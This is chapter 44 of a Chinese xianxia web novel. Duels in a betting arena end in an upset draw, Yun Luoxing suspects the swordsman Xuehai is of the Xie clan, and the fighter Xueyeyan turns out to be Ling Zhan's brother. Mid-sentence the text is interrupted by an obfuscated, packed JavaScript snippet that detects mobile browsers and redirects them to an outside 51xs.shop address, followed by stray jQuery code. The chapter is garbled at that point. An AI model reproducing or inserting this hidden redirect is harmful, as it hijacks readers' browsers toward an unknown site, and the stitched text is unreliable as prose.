44. 第 44 章
    换剑招其实是常事,毕竟若是遇到机缘或是发现了更适合自己的,肯定是会换。

    但融冰换的这一手剑招,不仅是完全不适合他,且看起来颇有一种生硬割裂的感觉,不像是什么完善的剑招。

    虽说如此,融冰还是凭借着扎实的功底,对提灯穷追不舍。

    不知是彻底看透了融冰的攻击路数,还是被逼无奈,提灯总算是召了灵兽。

    一只头大如灯的棕灰色蜡蝉猛然张开翅膀,内里的斑状花纹泛着幽幽亮光,犹如夜色中两只骇人的眼珠紧紧地盯住融冰。

    “看来提灯也没弄清楚融冰这剑招是什么意思。”池砚见那提灯蜡蝉一出,瞬间明了。

    原来提灯的暗名出自于这只叫做提灯蜡蝉的灵兽。

    她在做好功课的场次中从未用过提灯蜡蝉,但极少数几次和白板新人对招,都用上了提灯蜡蝉。

    提灯蜡蝉这种灵兽,头顶的“灯”,其实纯粹是个摆设。

    真正要命的是它那翅膀中的花纹灯。

    这也是为何提灯每到没招的时候才用提灯蜡蝉,无需考虑属性克制,无需计划如何出招,这东西几乎算是一个万能杀手锏。

    “她怎么不干脆次次提灯蜡蝉开局。”云落星有些不解,“既然有这样的灵兽,对实力差不多的人应该不需要规划打法吧?”

    池砚也表示不知,御兽师都神神秘秘的,有一套自己的思路。

    果然,融冰的实力应当和提灯差不多,和那花纹一对视,便陷入了失神状态。

    提灯趁机出击,大量召唤灵兽,一套经典连招打在融冰身上。

    就连观众席上都爆发出一阵阵或是“退钱”或是“赢啦”的喊声,看来提灯这一套已经应用在不少人身上,并且十分管用。

    不过令人意外的是,融冰忽然动了。

    他本是右手握着左手,持剑看着别扭极了,此刻松了右手,左手一翻,流利的起势划出一道剑气,结结实实地打在了毫无防备的提灯身上。

    场中一片寂静。

    提灯静立片刻,伤口鲜血飞溅,轰然倒下。

    与此同时,融冰竟也由于身上灵虫注入的毒素发作,软绵绵地滑落在地,失去了意识。

    真是平局?!

    连解说都词穷了片刻,好在还算专业,又将自己圆了回来。

    “这可真是旧日辉煌与新生璀璨的碰撞!”那解说慷慨激昂,无视场下一片片输了钱的哀嚎,造起势来,“焕颜丹,让所有旧人有与新人抗争的底气!现情绝阁有售,快些抢购吧!”

    “本场所有收入将由选择平局者瓜分。”另一位解说不知怎么了,显然不如之前这位淡定,“请各位在双色玉板中收取。”

    云落星看着两人双色玉板上的数字还在增加,不由得感叹:“没人选平局?那这波可是赚大了,怨不得那个解说看着不太自然。”

    眼见台下观众的怒火愈演愈烈,两位解说赶紧请了下一组上场。

    榜三月圆和一位新人,这组合可不多见,但你要说月圆买通排表,也不太可能。

    反过来,倒有新人买排表,当成“粉丝握手会”的。

    按理来说,这种情况下买月圆胜不会赚太多,但弑神台是打算把这场当成福利局以平息怒火了,从那离谱的官方赔率一看便知。

    “如何?这场怎么买?”池砚显然是把云落星当成了锦鲤,靠过来看她怎么下注。

    “没什么头绪。”云落星这把没有什么异样的感觉,按下了月圆的一侧,“规规矩矩投。”

    小水镜上的资料卡也进行了更新。

    月圆不必说了,焰狼,妖魂算是中上的类型,战绩虽不是全胜,也几乎难找到几场输局。

    至于这个名为血海的新人,资料一片空白,只知道是个剑修。

    “吼吼,瞧这名字,怕是追着我们月圆来的咯?”解说倒是大方,看来这买排表还是个过了官方明路的,“追随者、寻仇客、想出名,请与弑神台联系!起价低至一颗上品灵石!”

    血海倒确实和月圆有些关系,准确的说是和月圆的妖魂有关系。

    焰狼这种妖魂,攻击手段十分绚丽,与同属火系的火凤、炎狐一类的不同,他们所使用的火焰看起来更像是某种流动的液体。

    在迅捷的攻击速度下,火焰与敌人的鲜血混在一起,宛若血海,自此焰狼这类妖魂便得了个血海的外号。

    二人的伪装也意外的和谐,不同于大部分选手的抽象派,他们二人的伪装平平无奇,和云落星是一挂的。

    以往也有追随者买了排表,在台上一通表白结果被对方一击抬走的。台下的观众应该基本都投了月圆,此刻个个乐呵呵地瞧着台上,看看血海能玩出什么花活。

    就连月圆本人都认为对方应该是追随者,面上略显不耐,准备先手将对方送走免得浪费时间。

    却没想到已经以迅捷闻名天下的焰狼,居然被一个不知名选手抢了先手。

    血海显然没打算来个爱的告白,丝毫没有犹豫便出了剑。

    云落星眉头一皱:“这个起手……”

    还没等她细想,血海又迅速变了招,剑招轻盈伶俐,却有一种死亡将至的氛围。

    这一点只有台上的月圆才能最真切的体会到,他很快转变了轻敌的心态,毫无保留地展现出自己的实力。

    刹那间,颇为符合弑神台的名字,满场血雨纷飞,似火流星陨,又似岩浆迸发。

    两者皆是速力双修,且招式特殊,这样的局最是华丽,连解说都开始有些怀疑,自己不是收了钱让人插队排表,而是交了钱请人来调动气氛。

    云落星却是紧紧盯着台上,陷入沉思。

    目前为止血海的剑除了防御,皆是用了远程剑招。

    那些液体碰到月圆灼出一阵阵黑烟,这台上的流焰,肯定有一部分来自于血海,这样倒是和他的暗名说通了。

    结合那越看越熟悉的剑招……

    “你说。”云落星碰了碰池砚,“那血海,有没有可能是谢家人?”

    “不算完全一样。”池砚打量了片

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968031|144791||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刻,“但祭品被解放,原本的剑招若是不做改动肯定是用不了了。”

    这么一想,倒是十分合理,当时谢家被讨伐,有许多人想了办法趁机逃了,混不下去来冥海很正常。

    怪不得冥海里的人一个个都有伪装,这是生怕哪天被人寻仇。

    “这要真是谢家人可坏事儿了。”云落星心下不安,“再坑蒙拐骗一个祭品,把化雨剑传承下去可怎么办。”

    “剑招万变不离其宗,也许只是和化雨剑撞了招式,上一把的融冰不也用了招类似的?”池砚安慰她,“若真是谢家人,想有些进项,定是要在冥海待上很长一段时间。届时我买了排表与他们对一场便知。”

    几句话的时间,月圆已与血海分出胜负,虽然血海已是全力以赴,却是后继无力,越打越虚。

    场下一片欢呼,既是为了赢下的灵石,也是因为这场比赛实在是难得的动人心魄。

    解说报幕下一场的参赛者,又是掀起了一波更高的浪潮,要知道无论是嫁妆还是雪夜焰,都是热门选手,且很难等到他们出一次场。

    池砚起身,将刚才赢下的灵石全部递给云落星:“全部买我。”

    大概这就是实力碾压的自信吧。

    云落星撇撇嘴,握在标了嫁妆名字的那一侧,将所有的灵石直接□□。

    选手的包间也许与弑神台附近有什么传送阵之类的东西,很快就见到二人出现在台子两侧。

    “嗬,怪不得是热门选手呢。”云落星本来想看一眼小水镜里的资料卡,却被一阵震天响的欢呼声吓了一跳。

    别人大多是用了易容符往平庸甚至往丑了整,这雪夜焰不知是不是根本没用易容符,顶着一张绝美的脸就出来了。

    “也不知道这是元婴后微调固定的,还是用了什么特别的东西。”云落星想了想又否定了自己,“万一是妈生脸呢?可能少有丑人也是修仙界特色吧。”

    云落星倒不是被这张脸迷住了,毕竟池砚那张原生态脸都吊打他,只是这样的话说不定这场比赛还有的赢,应该会有不少颜粉顶着赔的风险为雪夜焰下注。

    “怎么是他?”凌湛见池砚走了,又出来懒洋洋地瘫着,“讨厌的人。”

    “嗯?”云落星还以为凌湛指的是池砚,却发现凌湛直勾勾地往雪夜焰那边看,“谁?”

    云落星也看过去,却惊悚地发现雪夜焰不知为何精准地看向了镜头,摆出了“弟弟”的口型。

    她一开始以为看错了,结果雪夜焰将领口下拉,赫然是一颗红色晶石。

    “哼……多管闲事的便宜哥哥。”凌湛往后缩了缩,试图让云落星挡住自己。

    “你怎么看出他的?他那脸没一处像楚泠夜。”云落星忽然意识到楚泠夜说二人是兄弟,可能说的是真的,凌湛说是不认识他,却能在这种情况下精准识别,且楚泠夜更离谱,隔着隐蔽的包间都能感应到凌湛的存在?

    “什么看出他?”凌湛左躲右闪也躲不开楚泠夜的目光,干脆变回了灵魂不出来了,“他不就长那样吗?”